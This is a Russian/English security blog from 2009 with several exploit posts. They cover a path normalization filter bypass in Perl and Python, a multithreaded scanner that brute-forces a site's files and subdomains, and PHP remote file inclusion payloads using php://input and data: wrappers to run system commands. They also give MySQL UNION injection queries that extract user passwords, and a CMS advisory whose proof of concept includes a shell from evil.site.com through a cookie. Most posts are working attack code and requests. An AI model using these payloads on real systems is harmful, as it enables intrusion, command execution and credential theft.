17.03.2009

Path normalization attack: not only in PHP

A month ago the italian security group USH released very interesting article PHP filesystem attack vectors where was described two new types of attacks on PHP. One of this attacks, the Path normalization attack, for example, may allow attacker to bypass filter of a file viewer that blacklists certain file extensions.

But Path normalization attack may be used not only with PHP scripts. I wrote 2 example scripts on Perl and Python:

test.pl code:

#!/usr/bin/perl

use warnings;

my $file = shift;
if ( substr($file, -3) eq '.pl' ) {
print 'shit!';
} else {
open(F, "<$file");
print while <F>;
}

test.py code:

#!/usr/bin/env python

import sys

file = sys.argv[1]
if file.endswith(".py"):
print("shit!")
else:
print(open(file).read())

PoC:

C:\Users\User\Desktop>perl test.pl test.pl
shit!

C:\Users\User\Desktop>perl test.pl test.pl.
#!/usr/bin/perl

use warnings;

my $file = shift;
if ( substr($file, -3) eq '.pl' ) {
print 'shit!';
} else {
open(F, "<$file");
print while <F>;
}

C:\Users\User\Desktop>python test.py test.py
shit!

C:\Users\User\Desktop>python test.py test.py.
#!/usr/bin/env python

import sys

file = sys.argv[1]
if file.endswith(".py"):
print("shit!")
else:
print(open(file).read())

C:\Users\User\Desktop>

12.03.2009

Скрипт для поиска субдоменов/каталогов/файлов сайта

На днях появилось желание поразмять пальцы, накодив что-нибудь. Получилась такая вот тулза из разряда "head-scanners", предназначенная для поиска ресурсов сайта, таких как файлы, каталоги и субдомены, методом брутфорса по словарю.

Особенности:
- написан на python 2.5;
- консольный;
- небольшого размера;
- многопоточный;
- поддреживает SSL;
- умеет искать субдомены;
- можно указать дополнительные отправляемые HTTP-заголовки (Cookies, Basic-auth, etc), поместив их в файл;
- возможно отсеять ответы сервера на неверные запросы по шаблону, в случае если их response status code != 404;
- можно использовать метод GET;
- есть вспомогательный режим тестирования.

В режиме тестирования делается 2 запроса: верный (обращение к субдомену "www" или к дире "/", в зависимости от режима) и неверный, после чего выводятся ответы вебсервера в виде HTTP заголовков (и html-кода при использовании GET), которые были расценены как удачные. Если вывелся только ответ на верный запрос, то все ОК. Если выводится еще и ответ на неверный запрос, то следует использовать шаблон (опция -p), содержащий текст который присутствует только в ответах веб-сервера (в заголовках или html-коде) при обращении к несуществующим ресурсам.

Код:

#!/usr/bin/env python

import sys, time, getopt, \
httplib, logging, threading
from urlparse import urlparse

def usage(mess=""):
print \
"""wscan usage:

Files/dirs scan mode:
wscan.py http[s]://site.com[:port][/path/] [-t] [-g] [-p pattern] [-f list.txt] [-l log.txt] [-h headers.txt] [-n 10]

SubDomains scan mode:
wscan.py http[s]://site.com[:port] -s [-t] [-g] [-p pattern] [-f subdomains.txt] [-l log.txt] [-h headers.txt] [-n 10]

Opts:
-t Test mode
-s Subdomains scan mode
-g GET scan mode with pattern
-f File with dirs, files or subdomains for scan.
list.txt by default (or subdomains.txt in subdomain-scan mode)
-l Log file (scanlog.txt by default)
-n Number of threads (10 by default)
-h File with headers
-p Headers filter pattern
"""
sys.exit(mess)


def head_scan(thrnum):
while True:
lock.acquire()
path = listFH.readline().rstrip()
lock.release()
if not len(path): return
if path[0:1] == "/": path = path[1:]
tryes = tryes_to_reconn
while tryes:
try:
conn = Connect(url.netloc)
conn.request(method, mypath+path, headers=headers)
resp = conn.getresponse()
#print "[~] "+mypath+path+"\t\t\t\r",
break
except:
tryes-=1
time.sleep(sleep_reconn_time)
conn.close()
continue
if not tryes:
say("[!] Can't get response from "+url.netloc+mypath+path)
conn.close()
continue
if resp.status not in bad_status:
if len(pattern):
hdr = get_headers_str(resp.getheaders())
if method == "GET":
html = resp.read(get_len)
hdr += html
if not hdr.find(pattern)==-1:
conn.close()
continue
if test_mode:
hdr = get_headers_str(resp.getheaders())
say("\n[~] Test request: %s%s\n%s %s\n\n%s\n" \
% (url.netloc, mypath+path, resp.status, resp.reason, hdr))
if not len(pattern) and method=="GET":
html = resp.read(get_len)
say(html+"\n")
say("[+] %s\t\t[%i] %s" % (mypath+path, resp.status, resp.reason))
conn.close()

def subdomain_scan(thrnum):
while True:
lock.acquire()
sd = listFH.readline().rstrip()
lock.release()
if not len(sd): return
sd += "."
try:
conn = Connect(sd+url.netloc)
#print "[~] "+sd+url.netloc+"\t\t\t\r",
except:
continue
try:
conn.request(method, "/", headers=headers)
resp = conn.getresponse()
if resp.status in bad_status:
raise error
except:
conn.close()
continue
if len(pattern):
hdr = get_headers_str(resp.getheaders())
if method == "GET":
html = resp.read(get_len)
hdr += html
if not hdr.find(pattern)==-1:
conn.close()
continue
if test_mode:
hdr = get_headers_str(resp.getheaders())
say("\n[~] Test request: %s%s\n%s %s\n\n%s\n" \
% (sd, url.netloc, resp.status, resp.reason, hdr))
if not len(pattern) and method=="GET":
html = resp.read(get_len)
say(html+"\n")
say("[+] %s%s\t\t[%i] %s" % (sd, url.netloc, resp.status, resp.reason))
conn.close()

def get_headers_str(data):
hdr = ""
for header, param in data: hdr += header+": "+param+"\n"
return hdr


# Defaults:
list_file = "list.txt"
log_file = "scanlog.txt"
threads_num = 10
bad_status = (404,)
tryes_to_reconn = 2
sleep_reconn_time = 2
get_len = 512
test_mode_bads = ("/", "dirtest9834592")
test_mode_bads_sd = ("www", "sdtest9834592")
pattern = ""
get_pattern = ""
headers_file = ""
headers = {}
method = "HEAD"
thread_func = head_scan
test_mode = False

try:
url = urlparse(sys.argv[1])
if url.scheme == "http": Connect = httplib.HTTPConnection
elif url.scheme == "https": Connect = httplib.HTTPSConnection
else: raise error
mypath = url.path if len(url.path) else "/"
except: usage("[!] Error: wrong URL")

try: opts, args = getopt.getopt(sys.argv[2:], "stf:l:n:h:p:g")
except getopt.GetoptError, err:
usage("[!] Error: "+str(err))
for opt, arg in opts:
if opt == '-s':
list_file = "subdomains.txt"
thread_func = subdomain_scan
test_mode_bads = test_mode_bads_sd
elif opt == '-t': test_mode = True
elif opt == '-f': list_file = arg
elif opt == '-l': log_file = arg
elif opt == '-n': threads_num = int(arg)
elif opt == '-h': headers_file = arg
elif opt == '-p': pattern = arg
elif opt == '-g': method = "GET"
else: usage("[!] Error: wrong params")

try: listFH = open(list_file, 'r')
except: sys.exit("[!] Error: can't open "+list_file)

if len(headers_file):
try: headers = dict([line.rstrip().split(": ", 1) for line in open(headers_file) if len(line)>3])
except: sys.exit("[!] Error: can't work with "+headers_file)

logging.basicConfig(level=logging.INFO, format='%(message)s', filename=log_file, filemode='w')
console = logging.StreamHandler()
console.setLevel(logging.INFO)
logging.getLogger('').addHandler(console)
say = logging.info

if test_mode:
listFH.close()
try: listFH = open("test_mode_list.txt", 'w')
except: sys.exit("[!] Error: can't open test_mode_list.txt")
[listFH.write(bads+"\n") for bads in test_mode_bads]
listFH.close()
listFH = open("test_mode_list.txt", 'r')

threads = []
lock = threading.Lock()
for thrnum in xrange(threads_num):
thread = threading.Thread(target=thread_func, name="thread %i" % thrnum, args=[thrnum])
thread.start()
threads.append(thread)
[thread.join() for thread in threads]

if test_mode: say("\n[~] End of test")

# by cr0w
# http://cr0w-at.blogspot.com

05.03.2009

Self-contained RFI in PHP

Sometimes those two tricks may be useful in RFI attacks.

1. Using php://input wrapper

php://input wrapper allows you to read raw POST data (http://ru2.php.net/wrappers.php).

For example, there is such code:

<?php

if ( include($_GET['file'] . '.php') )
{
echo 'Henck!';
}
else
{
echo 'Error!';
}

?>

For exploitation we need:
allow_url_include=On
magic_quotes_gpc=Off


PoC:

POST http://site.com/index.php?file=php://input%00 HTTP/1.1
Host: site.com

<?php passthru('dir'); ?>

Also using additional php://filter wrapper (available since PHP 5.0.0) we can encode our php code:

POST http://site.com/index.php?file=php://filter/read=string.rot13/resource=php://input%00 HTTP/1.1
Host: site.com

<?cuc cnffgueh('qve'); ?>


2. Using data: wrapper

Since version 5.2.0 PHP supports "data" URL scheme (http://ru.php.net/manual/ru/wrappers.data.php).

Example code:

<?php

$file = $_GET['file'];

// Filtration of directory change
// and URLs:

$file = str_replace('/', '', $file);
$file = str_replace('.', '', $file);

if ( include($file . '.php') )
{
echo 'Henck!';
}
else
{
echo 'Error!';
}

?>

For exploitation we need:
PHP version => 5.2.0
allow_url_include=On


PoC:

http://site.com/index2.php?file=data:,<?php system($_GET[c]); ?>?&c=dir

It's possible to encode this php code into Base64:

http://site.com/index2.php?file=data:;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir

This methods are interesting because attacker don't need to include his php-code from any http/ftp/etc server. Also attacker can bypass some simple filtrations like in second example code.

Возможное решение проблемы трудноподбираемых имен колонок при инъекциях в MySQL => 4.x

Года полтора назад, просматривая access-лог одного вебсервера, я обнаружил в нем попытку взлома сайта с помощью sql-инъекции. Версия SQL была 4.1.х и в логе можно было наблюдать как атакующий подобрал таблицу с пользователями:

?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+users

Но ему никак не удавалось подобрать названия столбцов этой таблицы, чтоб получить вывод имен и паролей пользователей сайта. Тогда он проделал интересный трюк - он попытался получить содержимое таблицы users с помощью примерно такого запроса:
-1+union+select+*,1,2,3,4,5+from+users

Т.е. он использовал символ "*", чтобы включить в запрос все поля таблицы users дополнив его необходимым количеством полей, чтоб запрос перестал выдавать ошибку "different number of columns". Следует отметить, что все это возможно только в случае когда количество столбцов, которое извлекает запрос, в который внедряется инъекция, больше или равно общему количеству столбцов в таблице users. В итоге он получил вывод некоторых значений полей из таблицы users (тех что попадали под выводимые скриптом значения извлекаемые sql-запросом). Но искомые пароли пользователей ему этим запросом получить не удалось и эта sql-инъекция не привела к взлому сайта. Я же решил немного поэксперементировать, и попытаться "добить" эту нераскрученную sql-инъекцию.

Первое, что пришло в голову - попробовать поперемещать выводимые значения полей таблицы users с помощью запросов вида:
-1+union+select+1,*,2,3,4,5+from+users
-1+union+select+1,2,*,3,4,5+from+users
...
etc

Но такие запросы оказались неработоспособны. Поразмыслив, я все-таки нашел способ как осуществить задуманное:
-1+union+select+*+from+(select+1)y,users,(select+1,2,3,4)x
-1+union+select+*+from+(select+1,2)y,users,(select+1,2,3)x
-1+union+select+*+from+(select+1,2,3)y,users,(select+1,2)x
-1+union+select+*+from+(select+1,2,3,4)y,users,(select+1)x
-1+union+select+*+from+(select+1,2,3,4,5)x,users

В итоге мне удалось получить пользовательские пароли из users. В вышеприведенных примерах используются подзапросы с алиасами в качестве дополнительных таблиц, перечисляемых в from. Из-за подзапросов такое не сработает в версиях 4.0.x. Но как оказалось, все-таки есть более постой и универсальный способ, действующий во всех версиях => 4.x, просто нужно использовать запросы с следующим синтаксисом:
-1+union+select+1,users.*,2,3,4,5+from+users
-1+union+select+1,2,users.*,3,4,5+from+users
...
etc

Использование синтаксиса "table_name.*" уже не вызывает ошибки и корректно обрабатывается, в отличие от запросов вида "select+1,2,*,3,4,5+from+users". Такой способ решения данной проблемы мне подсказал l1ght, за что получил мои скромные респекты. Кстати говоря, про это написано и в документации по MySQL, но я, видимо, не очень внимательно ее читал. ( ;

CMS S.Builder <= 3.7 RFI/LFI

This advisory at milw0rm.com

Сайт разработчика: http://www.sbuilder.ru
Уязвимые версии: тестировалось на версии 3.7, но, вероятно, уязвимость присутствует и в следующих версиях.

Описание:
Движок этой cms создает файлы сайта (index.php, etc) с кодом вида:

if (!isset($GLOBALS['binn_include_path'])) $GLOBALS['binn_include_path'] = '';
...
include_once($GLOBALS['binn_include_path'].'prog/pl_menu/show_menu.php');
...

При register_globals=On, можно записать собственный путь в переменную binn_include_path, и провести атаку LFI или RFI (при allow_url_fopen=On), отрезав добавляемый в include_once() путь при помощи null-byte или php path truncation attack.

PoC:
GET /index.php HTTP/1.1
Host: www.site.com
Cookie: binn_include_path=http://evil.site.com/shell.txt?